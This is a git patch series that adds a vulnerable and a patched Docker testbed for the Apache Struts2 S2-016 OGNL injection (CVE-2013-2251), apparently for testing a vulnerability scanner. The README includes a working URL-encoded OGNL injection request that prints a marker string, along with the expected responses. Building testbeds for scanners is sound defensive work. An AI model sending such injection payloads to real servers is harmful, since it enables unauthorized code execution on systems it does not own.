From fbb770a53994a49d7c43c1b24c48703c4dd2e69a Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan Date: Tue, 21 Jul 2026 09:20:24 +0000 Subject: [PATCH 1/6] added testbeds for CVE-2013-2251 --- apache/struts/CVE-2013-2251/README.md | 19 +++++++++++++ .../struts/CVE-2013-2251/docker-compose.yml | 27 +++++++++++++++++++ 2 files changed, 46 insertions(+) create mode 100644 apache/struts/CVE-2013-2251/README.md create mode 100644 apache/struts/CVE-2013-2251/docker-compose.yml diff --git a/apache/struts/CVE-2013-2251/README.md b/apache/struts/CVE-2013-2251/README.md new file mode 100644 index 00000000..4b6bc9d2 --- /dev/null +++ b/apache/struts/CVE-2013-2251/README.md @@ -0,0 +1,19 @@ +# Apache Struts2 S2-016 DefaultActionMapper OGNL Injection (CVE-2013-2251) + +The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution. + +## Vulnerable Version +### Setup +Start an Apache Struts2 version 2.3.15: + +```bash +docker compose up -d struts2-vuln +``` + +## Safe Version +### Setup +Start an Apache Struts2 version 2.3.15.1: + +```bash +docker compose up -d struts2-safe +``` \ No newline at end of file diff --git a/apache/struts/CVE-2013-2251/docker-compose.yml b/apache/struts/CVE-2013-2251/docker-compose.yml new file mode 100644 index 00000000..e8879c33 --- /dev/null +++ b/apache/struts/CVE-2013-2251/docker-compose.yml @@ -0,0 +1,27 @@ +services: + # --------------------------------------------------------- + # VULNERABLE INSTANCE (Port 8080) + # Uses the VulApps image vulnerable to CVE-2013-2251 + # --------------------------------------------------------- + struts2-vuln: + image: docker.io/medicean/vulapps:s_struts2_s2-016 + container_name: struts2-vuln + ports: + - "8080:8080" + restart: always + + # --------------------------------------------------------- + # PATCHED INSTANCE (Port 8081) + # Downloads the official Struts 2.3.15.1 patch release on boot + # --------------------------------------------------------- + struts2-safe: + image: tomcat:8.5-jre8 + container_name: struts2-safe + ports: + - "8081:8080" + command: > + bash -c " + curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15.1/struts2-showcase-2.3.15.1.war -o /usr/local/tomcat/webapps/ROOT.war && + catalina.sh run + " + restart: always From 2e97179c078a2bfb5c27917a17eaaac2c416cac6 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Mon, 17 Aug 2026 15:44:11 +0530 Subject: [PATCH 2/6] Update the comment Co-authored-by: Robert Dick --- apache/struts/CVE-2013-2251/docker-compose.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache/struts/CVE-2013-2251/docker-compose.yml b/apache/struts/CVE-2013-2251/docker-compose.yml index e8879c33..806bc470 100644 --- a/apache/struts/CVE-2013-2251/docker-compose.yml +++ b/apache/struts/CVE-2013-2251/docker-compose.yml @@ -1,7 +1,7 @@ services: # --------------------------------------------------------- # VULNERABLE INSTANCE (Port 8080) - # Uses the VulApps image vulnerable to CVE-2013-2251 + # Downloads the official Struts 2.3.15 vulnerable release on boot # --------------------------------------------------------- struts2-vuln: image: docker.io/medicean/vulapps:s_struts2_s2-016 From 970261d0c3c123409c6bb60c22f8c7d42c986cca Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Mon, 17 Aug 2026 15:44:56 +0530 Subject: [PATCH 3/6] Update the image name Co-authored-by: Robert Dick --- apache/struts/CVE-2013-2251/docker-compose.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache/struts/CVE-2013-2251/docker-compose.yml b/apache/struts/CVE-2013-2251/docker-compose.yml index 806bc470..3393af9d 100644 --- a/apache/struts/CVE-2013-2251/docker-compose.yml +++ b/apache/struts/CVE-2013-2251/docker-compose.yml @@ -4,7 +4,7 @@ services: # Downloads the official Struts 2.3.15 vulnerable release on boot # --------------------------------------------------------- struts2-vuln: - image: docker.io/medicean/vulapps:s_struts2_s2-016 + image: tomcat:8.5-jre8 container_name: struts2-vuln ports: - "8080:8080" From c94ecf77f440478b55e0d8af1c3b8a595f8c2082 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Mon, 17 Aug 2026 15:46:18 +0530 Subject: [PATCH 4/6] Add curl command Co-authored-by: Robert Dick --- apache/struts/CVE-2013-2251/docker-compose.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/apache/struts/CVE-2013-2251/docker-compose.yml b/apache/struts/CVE-2013-2251/docker-compose.yml index 3393af9d..bda1e6da 100644 --- a/apache/struts/CVE-2013-2251/docker-compose.yml +++ b/apache/struts/CVE-2013-2251/docker-compose.yml @@ -8,6 +8,11 @@ services: container_name: struts2-vuln ports: - "8080:8080" + command: > + bash -c " + curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15/struts2-showcase-2.3.15.war -o /usr/local/tomcat/webapps/ROOT.war && + catalina.sh run + " restart: always # --------------------------------------------------------- From 31307fa771506420145fbfd1927ccd757ffe3b01 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Mon, 17 Aug 2026 15:46:51 +0530 Subject: [PATCH 5/6] Add curl command for testing vulnerable version Co-authored-by: Robert Dick --- apache/struts/CVE-2013-2251/README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/apache/struts/CVE-2013-2251/README.md b/apache/struts/CVE-2013-2251/README.md index 4b6bc9d2..4291c91e 100644 --- a/apache/struts/CVE-2013-2251/README.md +++ b/apache/struts/CVE-2013-2251/README.md @@ -10,6 +10,14 @@ Start an Apache Struts2 version 2.3.15: docker compose up -d struts2-vuln ``` +### Testing the vulnerability +``` +curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" +``` +Response: +``` +tsunami1787569 +``` ## Safe Version ### Setup Start an Apache Struts2 version 2.3.15.1: From 949880ecf32a6d96d26c4da5cf8f0329bc12ab61 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Mon, 17 Aug 2026 15:47:24 +0530 Subject: [PATCH 6/6] Add curl command for testing the safe version Co-authored-by: Robert Dick --- apache/struts/CVE-2013-2251/README.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/apache/struts/CVE-2013-2251/README.md b/apache/struts/CVE-2013-2251/README.md index 4291c91e..4bc5106e 100644 --- a/apache/struts/CVE-2013-2251/README.md +++ b/apache/struts/CVE-2013-2251/README.md @@ -24,4 +24,15 @@ Start an Apache Struts2 version 2.3.15.1: ```bash docker compose up -d struts2-safe +``` + +### Testing the vulnerability +``` +curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" +``` +Response: +``` +... +Struts2 Showcase +... ``` \ No newline at end of file